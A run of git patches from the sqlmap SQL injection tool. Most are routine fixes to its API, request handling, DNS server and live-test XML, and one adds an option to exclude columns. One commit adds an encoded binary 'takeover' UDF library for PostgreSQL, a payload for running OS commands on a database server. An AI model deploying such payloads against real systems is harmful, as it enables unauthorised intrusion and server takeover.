index b710aaa44..c512cec75 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -108,6 +108,9 @@ class Agent(object): origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] origValue = origValue[origValue.index(',') + 1:] + if conf.prefix: + value = origValue + if value is None: if where == PAYLOAD.WHERE.ORIGINAL: value = origValue From 41d6c1af82e84d757df3acdf23f3302d348e53f9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 28 Dec 2013 13:47:40 +0100 Subject: [PATCH 166/889] Patch for an Issue #589 --- lib/core/subprocessng.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 8483b0a73..20e35a9e5 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -120,7 +120,7 @@ class Popen(subprocess.Popen): nAvail = maxsize if nAvail > 0: (errCode, read) = ReadFile(x, nAvail, None) - except ValueError: + except (ValueError, NameError): return self._close(which) except (subprocess.pywintypes.error, Exception), why: if why[0] in (109, errno.ESHUTDOWN): From 192a911b76b130e636cae1ad3f4e21278eb1032f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 29 Dec 2013 16:16:50 +0100 Subject: [PATCH 167/889] Patch for an Issue #28 --- lib/core/option.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index 2ac87d8f7..bf75899e1 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -669,6 +669,15 @@ def _setMetasploit(): msfEnvPathExists = False if IS_WIN: + try: + import win32file + except ImportError: + errMsg = "sqlmap requires third-party module 'pywin32' " + errMsg += "in order to use Metasploit functionalities on " + errMsg += "Windows. You can download it from " + errMsg += "'http://sourceforge.net/projects/pywin32/files/pywin32/'" + raise SqlmapMissingDependence(errMsg) + if not conf.msfPath: def _(key, value): retVal = None From 9b4b070ecfeaa5d9eb45bbe6f45cbee91c65cda7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 2 Jan 2014 10:05:58 +0100 Subject: [PATCH 168/889] Minor cosmetics --- lib/utils/api.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index c44760698..665827409 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -102,7 +102,6 @@ class Database(object): class Task(object): - def __init__(self, taskid): self.process = None self.output_directory = None From 854a55166c3a095a7128b0b30d90b94622e6ede5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 2 Jan 2014 10:29:10 +0100 Subject: [PATCH 169/889] Fix for an Issue #588 --- lib/utils/api.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 665827409..58cdb820c 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -104,6 +104,7 @@ class Database(object): class Task(object): def __init__(self, taskid): self.process = None + self.temporary_directory = False self.output_directory = None self.options = None self._original_options = None @@ -144,12 +145,23 @@ class Task(object): self.options = AttribDict(self._original_options) def set_output_directory(self): + if self.get_option("oDir"): + if os.path.isdir(self.get_option("oDir")): + self.output_directory = self.get_option("oDir") + else: + try: + os.makedirs(self.get_option("oDir")) + self.output_directory = self.get_option("oDir") + except OSError: + pass + if not self.output_directory or not os.path.isdir(self.output_directory): self.output_directory = tempfile.mkdtemp(prefix="sqlmapoutput-") + self.temporary_directory = True self.set_option("oDir", self.output_directory) def clean_filesystem(self): - if self.output_directory: + if self.output_directory and self.temporary_directory: shutil.rmtree(self.output_directory) def engine_start(self): From 0b4fcb6845a2e67c4b5475b79541dd985726d6ef Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 2 Jan 2014 10:55:40 +0100 Subject: [PATCH 170/889] Fix for an Issue #591 --- lib/utils/api.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 58cdb820c..eae2cd87a 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -187,8 +187,11 @@ class Task(object): return None def engine_get_returncode(self): - self.process.poll() - return self.process.returncode + if self.process: + self.process.poll() + return self.process.returncode + else: + return None def engine_has_terminated(self): return isinstance(self.engine_get_returncode(), int) @@ -510,7 +513,10 @@ def scan_status(taskid): logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" + if DataStore.tasks[taskid].engine_get_returncode() is None: + status = "not running" + else: + status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" logger.debug("[%s] Retrieved scan status" % taskid) return jsonize({ From e0143e397a607cd9851e285a3e2a2f07184416f7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 2 Jan 2014 10:59:53 +0100 Subject: [PATCH 171/889] Consistency fix (down below we use direct SQL) --- lib/utils/api.py | 33 ++++++++++++++++----------------- 1 file changed, 16 insertions(+), 17 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index eae2cd87a..dd3f4e664 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -54,20 +54,6 @@ class DataStore(object): # API objects class Database(object): filepath = None - LOGS_TABLE = ("CREATE TABLE logs(" - "id INTEGER PRIMARY KEY AUTOINCREMENT, " - "taskid INTEGER, time TEXT, " - "level TEXT, message TEXT" - ")") - DATA_TABLE = ("CREATE TABLE data(" - "id INTEGER PRIMARY KEY AUTOINCREMENT, " - "taskid INTEGER, status INTEGER, " - "content_type INTEGER, value TEXT" - ")") - ERRORS_TABLE = ("CREATE TABLE errors(" - "id INTEGER PRIMARY KEY AUTOINCREMENT, " - "taskid INTEGER, error TEXT" - ")") def __init__(self, database=None): self.database = self.filepath if database is None else database @@ -96,9 +82,22 @@ class Database(object): return self.cursor.fetchall() def init(self): - self.execute(self.LOGS_TABLE) - self.execute(self.DATA_TABLE) - self.execute(self.ERRORS_TABLE) + self.execute("CREATE TABLE logs(" + "id INTEGER PRIMARY KEY AUTOINCREMENT, " + "taskid INTEGER, time TEXT, " + "level TEXT, message TEXT" + ")") + + self.execute("CREATE TABLE data(" + "id INTEGER PRIMARY KEY AUTOINCREMENT, " + "taskid INTEGER, status INTEGER, " + "content_type INTEGER, value TEXT" + ")") + + self.execute("CREATE TABLE errors(" + "id INTEGER PRIMARY KEY AUTOINCREMENT, " + "taskid INTEGER, error TEXT" + ")") class Task(object): From 4de83daf03b8a393be01beeb288e3a2788000e27 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 2 Jan 2014 11:06:19 +0100 Subject: [PATCH 172/889] Minor style update --- lib/request/redirecthandler.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 9aa328144..2c0ea9a46 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -129,5 +129,5 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler): def _infinite_loop_check(self, req): if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys()) - errMsg += "please check all provided parameters and/or provide missing ones." + errMsg += "Please check all provided parameters and/or provide missing ones" raise SqlmapConnectionException(errMsg) From 5437f8bf366c172be29bc856acc934593722aaae Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 2 Jan 2014 12:09:58 +0100 Subject: [PATCH 173/889] Fix for an Issue #85 --- lib/request/basic.py | 23 ++++++++++++++++++++++- 1 file changed, 22 insertions(+), 1 deletion(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index 53e38e69b..eabf525f9 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -15,6 +15,7 @@ import zlib from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult +from lib.core.common import getPublicTypeMembers from lib.core.common import getUnicode from lib.core.common import readInput from lib.core.common import resetCookieJar @@ -53,7 +54,27 @@ def forgeHeaders(items=None): headers = dict(conf.httpHeaders) headers.update(items or {}) - headers = dict(("-".join(_.capitalize() for _ in key.split('-')), value) for (key, value) in headers.items()) + class _str(str): + def capitalize(self): + return _str(self) + + def title(self): + return _str(self) + + _ = headers + headers = {} + for key, value in _.items(): + success = False + if key.upper() not in (_.upper() for _ in getPublicTypeMembers(HTTP_HEADER, True)): + try: + headers[_str(key)] = value # dirty hack for http://bugs.python.org/issue12455 + except UnicodeEncodeError: # don't do the hack on non-ASCII header names (they have to be properly encoded later on) + pass + else: + success = True + if not success: + key = '-'.join(_.capitalize() for _ in key.split('-')) + headers[key] = value if conf.cj: if HTTP_HEADER.COOKIE in headers: From cb1f17cb0426669ae8e587f7160dd8baae811a6b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 2 Jan 2014 12:15:56 +0100 Subject: [PATCH 174/889] Proper patch for an Issue #591 --- lib/utils/api.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index dd3f4e664..1e946ce53 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -173,6 +173,9 @@ class Task(object): else: return None + def engine_process(self): + return self.process + def engine_kill(self): if self.process: return self.process.kill() @@ -512,7 +515,7 @@ def scan_status(taskid): logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - if DataStore.tasks[taskid].engine_get_returncode() is None: + if DataStore.tasks[taskid].engine_process() is None: status = "not running" else: status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" From 36f3ab5798856bbaf8e74e5dc2a04b1624c28e83 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 Jan 2014 15:46:55 +0100 Subject: [PATCH 175/889] Minor bug fix (for cases when race between thread and main thread is causing server._running to not be set to True) --- lib/request/dns.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/request/dns.py b/lib/request/dns.py index 85d111c06..4c36f8c89 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -65,6 +65,7 @@ class DNSServer(object): self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("", 53)) self._running = False + self._initialized = False def pop(self, prefix=None, suffix=None): """ @@ -91,6 +92,7 @@ class DNSServer(object): def _(): try: self._running = True + self._initialized = True while True: data, addr = self._socket.recvfrom(1024) @@ -116,6 +118,9 @@ if __name__ == "__main__": server = DNSServer() server.run() + while not server._initialized: + time.sleep(0.1) + while server._running: while True: _ = server.pop() From d9e00adfaebe4fc0423f845c1af8778cbd95d7e7 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 10 Jan 2014 17:23:16 +0000 Subject: [PATCH 176/889] minor fix --- lib/core/dicts.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 750b888df..7c13f8aea 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -138,7 +138,7 @@ DBMS_DICT = { DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "http://code.google.com/p/ibm-db/", "ibm_db_sa"), - DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), + DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), } FROM_DUMMY_TABLE = { From 148767941b2a39b970d7ab0feb209e51bef3c25f Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 10 Jan 2014 17:23:27 +0000 Subject: [PATCH 177/889] new host --- xml/livetests.xml | 426 +++++++++++++++++++++++----------------------- 1 file changed, 213 insertions(+), 213 deletions(-) diff --git a/xml/livetests.xml b/xml/livetests.xml index 710fa95b9..7bd50e427 100644 --- a/xml/livetests.xml +++ b/xml/livetests.xml @@ -17,7 +17,7 @@ - + @@ -37,7 +37,7 @@ - + @@ -80,7 +80,7 @@ - + @@ -124,7 +124,7 @@ - + @@ -168,7 +168,7 @@ - + @@ -212,7 +212,7 @@ - + @@ -226,7 +226,7 @@ - + @@ -270,7 +270,7 @@ - + @@ -312,7 +312,7 @@ - + @@ -355,7 +355,7 @@ - + @@ -398,7 +398,7 @@ - + @@ -441,7 +441,7 @@ - + @@ -455,7 +455,7 @@ - + @@ -469,7 +469,7 @@ - + @@ -512,7 +512,7 @@ - + @@ -553,7 +553,7 @@ - + @@ -596,7 +596,7 @@ - + @@ -639,7 +639,7 @@ - + @@ -683,7 +683,7 @@ - + @@ -697,7 +697,7 @@ - + @@ -740,7 +740,7 @@ - + @@ -782,7 +782,7 @@ - + @@ -815,7 +815,7 @@ - + @@ -848,7 +848,7 @@ - + @@ -880,7 +880,7 @@ - + @@ -913,7 +913,7 @@ - + @@ -946,7 +946,7 @@ - + @@ -978,7 +978,7 @@ - + @@ -993,7 +993,7 @@ - + @@ -1025,7 +1025,7 @@ - + @@ -1065,7 +1065,7 @@ - + @@ -1142,7 +1142,7 @@ - + @@ -1181,7 +1181,7 @@ - + @@ -1197,7 +1197,7 @@ - + @@ -1239,7 +1239,7 @@ - + @@ -1257,7 +1257,7 @@ - + @@ -1275,7 +1275,7 @@ - + @@ -1291,7 +1291,7 @@ - + @@ -1309,7 +1309,7 @@ - + @@ -1327,7 +1327,7 @@ - + @@ -1343,7 +1343,7 @@ - + @@ -1361,7 +1361,7 @@ - + @@ -1379,7 +1379,7 @@ - + @@ -1395,7 +1395,7 @@ - + @@ -1411,7 +1411,7 @@ - + @@ -1428,7 +1428,7 @@ - + @@ -1443,7 +1443,7 @@ - + @@ -1460,7 +1460,7 @@ - + @@ -1478,7 +1478,7 @@ - + @@ -1489,7 +1489,7 @@ - + @@ -1501,7 +1501,7 @@ - + @@ -1512,7 +1512,7 @@ - + @@ -1524,7 +1524,7 @@ - + @@ -1535,7 +1535,7 @@ - + @@ -1547,7 +1547,7 @@ - + @@ -1558,7 +1558,7 @@ - + @@ -1570,7 +1570,7 @@ - + @@ -1581,7 +1581,7 @@ - + @@ -1593,7 +1593,7 @@ - + @@ -1604,7 +1604,7 @@ - + @@ -1616,7 +1616,7 @@ - + @@ -1627,7 +1627,7 @@ - + @@ -1639,7 +1639,7 @@ - + @@ -1650,7 +1650,7 @@ - + @@ -1662,7 +1662,7 @@ - + @@ -1673,7 +1673,7 @@ - + @@ -1685,7 +1685,7 @@ - + @@ -1696,7 +1696,7 @@ - + @@ -1708,7 +1708,7 @@ - + @@ -1719,7 +1719,7 @@ - + @@ -1730,7 +1730,7 @@ - + @@ -1741,7 +1741,7 @@ - + @@ -1756,7 +1756,7 @@ - + @@ -1768,7 +1768,7 @@ - + @@ -1780,7 +1780,7 @@ - + @@ -1792,7 +1792,7 @@ - + @@ -1806,7 +1806,7 @@ - + @@ -1820,7 +1820,7 @@ - + @@ -1834,7 +1834,7 @@ - + @@ -1847,7 +1847,7 @@ - + @@ -1860,7 +1860,7 @@ - + @@ -1873,7 +1873,7 @@ - + @@ -1887,7 +1887,7 @@ - + @@ -1901,7 +1901,7 @@ - + @@ -1915,7 +1915,7 @@ - + @@ -1930,7 +1930,7 @@ - + @@ -1945,7 +1945,7 @@ - + @@ -1960,7 +1960,7 @@ - + @@ -1975,7 +1975,7 @@ - + @@ -1990,7 +1990,7 @@ - + @@ -2005,7 +2005,7 @@ - + @@ -2020,7 +2020,7 @@ - + @@ -2035,7 +2035,7 @@ - + @@ -2050,7 +2050,7 @@ - + @@ -2062,7 +2062,7 @@ - + @@ -2074,7 +2074,7 @@ - + @@ -2086,7 +2086,7 @@ - + @@ -2100,7 +2100,7 @@ - + @@ -2114,7 +2114,7 @@ - + @@ -2128,7 +2128,7 @@ - + @@ -2141,7 +2141,7 @@ - + @@ -2154,7 +2154,7 @@ - + @@ -2167,7 +2167,7 @@ - + @@ -2181,7 +2181,7 @@ - + @@ -2195,7 +2195,7 @@ - + @@ -2209,7 +2209,7 @@ - + @@ -2224,7 +2224,7 @@ - + @@ -2239,7 +2239,7 @@ - + @@ -2254,7 +2254,7 @@ - + @@ -2269,7 +2269,7 @@ - + @@ -2284,7 +2284,7 @@ - + @@ -2299,7 +2299,7 @@ - + @@ -2315,7 +2315,7 @@ - + @@ -2331,7 +2331,7 @@ - + @@ -2347,7 +2347,7 @@ - + @@ -2359,7 +2359,7 @@ - + @@ -2371,7 +2371,7 @@ - + @@ -2383,7 +2383,7 @@ - + @@ -2397,7 +2397,7 @@ - + @@ -2412,7 +2412,7 @@ - + @@ -2427,7 +2427,7 @@ - + @@ -2440,7 +2440,7 @@ - + @@ -2453,7 +2453,7 @@ - + @@ -2466,7 +2466,7 @@ - + @@ -2479,7 +2479,7 @@ - + @@ -2492,7 +2492,7 @@ - + @@ -2505,7 +2505,7 @@ - + @@ -2519,7 +2519,7 @@ - + @@ -2533,7 +2533,7 @@ - + @@ -2547,7 +2547,7 @@ - + @@ -2561,7 +2561,7 @@ - + @@ -2575,7 +2575,7 @@ - + @@ -2589,7 +2589,7 @@ - + @@ -2604,7 +2604,7 @@ - + @@ -2619,7 +2619,7 @@ - + @@ -2634,7 +2634,7 @@ - + @@ -2646,7 +2646,7 @@ - + @@ -2660,7 +2660,7 @@ - + @@ -2673,7 +2673,7 @@ - + @@ -2686,7 +2686,7 @@ - + @@ -2700,7 +2700,7 @@ - + @@ -2714,7 +2714,7 @@ - + @@ -2729,7 +2729,7 @@ - + @@ -2740,7 +2740,7 @@ - + @@ -2753,7 +2753,7 @@ - + @@ -2766,7 +2766,7 @@ - + @@ -2777,7 +2777,7 @@ - + @@ -2790,7 +2790,7 @@ - + @@ -2806,7 +2806,7 @@ - + @@ -2817,7 +2817,7 @@ - + @@ -2828,7 +2828,7 @@ - + @@ -2839,7 +2839,7 @@ - + @@ -2850,7 +2850,7 @@ - + @@ -2861,7 +2861,7 @@ - + @@ -2873,7 +2873,7 @@ - + @@ -2884,7 +2884,7 @@ - + @@ -2895,7 +2895,7 @@ - + @@ -2906,7 +2906,7 @@ - + @@ -2917,7 +2917,7 @@ - + @@ -2928,7 +2928,7 @@ - + @@ -2940,7 +2940,7 @@ - + @@ -2951,7 +2951,7 @@ - + @@ -2962,7 +2962,7 @@ - + @@ -2973,7 +2973,7 @@ - + @@ -2984,7 +2984,7 @@ - + @@ -2995,7 +2995,7 @@ - + @@ -3006,7 +3006,7 @@ - + @@ -3017,7 +3017,7 @@ - + @@ -3028,7 +3028,7 @@ - + @@ -3039,7 +3039,7 @@ - + @@ -3050,7 +3050,7 @@ - + @@ -3061,7 +3061,7 @@ - + @@ -3072,7 +3072,7 @@ - + @@ -3083,7 +3083,7 @@ - + @@ -3094,7 +3094,7 @@ - + @@ -3105,7 +3105,7 @@ - + @@ -3119,7 +3119,7 @@ - + @@ -3130,7 +3130,7 @@ - + @@ -3141,7 +3141,7 @@ - + @@ -3153,7 +3153,7 @@ - + @@ -3165,7 +3165,7 @@ - + @@ -3178,7 +3178,7 @@ - + @@ -3190,7 +3190,7 @@ - + @@ -3203,7 +3203,7 @@ - + @@ -3219,7 +3219,7 @@ - + @@ -3254,7 +3254,7 @@ - + @@ -3265,7 +3265,7 @@ - + @@ -3281,7 +3281,7 @@ - + @@ -3294,7 +3294,7 @@ - + @@ -3309,7 +3309,7 @@ - + @@ -3320,7 +3320,7 @@ - + @@ -3330,7 +3330,7 @@ - + @@ -3345,7 +3345,7 @@ - + @@ -3357,7 +3357,7 @@ - + @@ -3368,7 +3368,7 @@ - + @@ -3379,7 +3379,7 @@ - + @@ -3388,7 +3388,7 @@ - + @@ -3403,7 +3403,7 @@ - + @@ -3421,7 +3421,7 @@ - + @@ -3433,7 +3433,7 @@ - + @@ -3446,7 +3446,7 @@ - + @@ -3459,7 +3459,7 @@ - + @@ -3473,7 +3473,7 @@ - + @@ -3485,7 +3485,7 @@ - + @@ -3531,7 +3531,7 @@ - + @@ -3542,7 +3542,7 @@ - + @@ -3554,7 +3554,7 @@ - + @@ -3566,7 +3566,7 @@ - + @@ -3579,7 +3579,7 @@ - + @@ -3591,7 +3591,7 @@ - + From 4975aafa6533074553856f694af206775ed501de Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 10 Jan 2014 17:38:04 +0000 Subject: [PATCH 178/889] updated live tests --- xml/livetests.xml | 114 +++++++++++++++++++++++----------------------- 1 file changed, 57 insertions(+), 57 deletions(-) diff --git a/xml/livetests.xml b/xml/livetests.xml index 7bd50e427..1f58b627d 100644 --- a/xml/livetests.xml +++ b/xml/livetests.xml @@ -61,13 +61,13 @@ - - - + + + - + @@ -105,13 +105,13 @@ - - - + + + - + @@ -149,13 +149,13 @@ - - - + + + - + @@ -193,13 +193,13 @@ - - - + + + - + @@ -220,7 +220,7 @@ - + @@ -251,13 +251,13 @@ - - - + + + - + @@ -295,15 +295,15 @@ - + - + - + @@ -338,15 +338,15 @@ - + - + - + @@ -381,15 +381,15 @@ - + - + - + @@ -424,15 +424,15 @@ - + - + - + @@ -449,7 +449,7 @@ - + @@ -463,7 +463,7 @@ - + @@ -495,15 +495,15 @@ - + - + - + @@ -3303,7 +3303,7 @@ - + @@ -3339,7 +3339,7 @@ - + @@ -3397,7 +3397,7 @@ - + @@ -3412,7 +3412,7 @@ - + @@ -3428,7 +3428,7 @@ - + @@ -3440,7 +3440,7 @@ - + @@ -3452,7 +3452,7 @@ - + @@ -3466,7 +3466,7 @@ - + @@ -3479,7 +3479,7 @@ - + @@ -3511,13 +3511,13 @@ - - - + + + - + @@ -3536,7 +3536,7 @@ - + @@ -3548,7 +3548,7 @@ - + @@ -3560,7 +3560,7 @@ - + @@ -3573,7 +3573,7 @@ - + @@ -3585,7 +3585,7 @@ - + @@ -3597,7 +3597,7 @@ - + From b4139f5b821dedab01e482de15a2e16401b3d58f Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 10 Jan 2014 18:16:25 +0000 Subject: [PATCH 179/889] added takeover shared object for PgSQL 9.1 Linux 32-bit - issue #20 --- .../linux/32/9.1/lib_postgresqludf_sys.so | Bin 0 -> 6432 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100755 udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so diff --git a/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so b/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so new file mode 100755 index 0000000000000000000000000000000000000000..d1c700e90bb01a53c7df56f9abd1abd5e66a27e9 GIT binary patch literal 6432 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 E0?gJcQUCw| literal 0 HcmV?d00001 From 6863436d4ef4e067f39f083ed080a2963a4e07be Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 13 Jan 2014 10:05:49 +0100 Subject: [PATCH 180/889] Implementation for an Issue #596 --- lib/core/optiondict.py | 1 + lib/parse/cmdline.py | 7 +++++-- plugins/dbms/mssqlserver/enumeration.py | 4 ++++ plugins/dbms/sybase/enumeration.py | 3 +++ plugins/generic/databases.py | 5 ++++- plugins/generic/entries.py | 18 +++++++++++++++++- plugins/generic/search.py | 6 +++++- sqlmap.conf | 7 +++++-- 8 files changed, 44 insertions(+), 7 deletions(-) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 86a222219..6ca4e3662 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -127,6 +127,7 @@ optDict = { "db": "string", "tbl": "string", "col": "string", + "excludeCol": "string", "user": "string", "excludeSysDbs": "boolean", "limitStart": "integer", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 0f75689c7..96dce8511 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -404,10 +404,13 @@ def cmdLineParser(): help="DBMS database to enumerate") enumeration.add_option("-T", dest="tbl", - help="DBMS database table to enumerate") + help="DBMS database table(s) to enumerate") enumeration.add_option("-C", dest="col", - help="DBMS database table column to enumerate") + help="DBMS database table column(s) to enumerate") + + enumeration.add_option("-X", dest="excludeCol", + help="DBMS database table column(s) to not enumerate") enumeration.add_option("-U", dest="user", 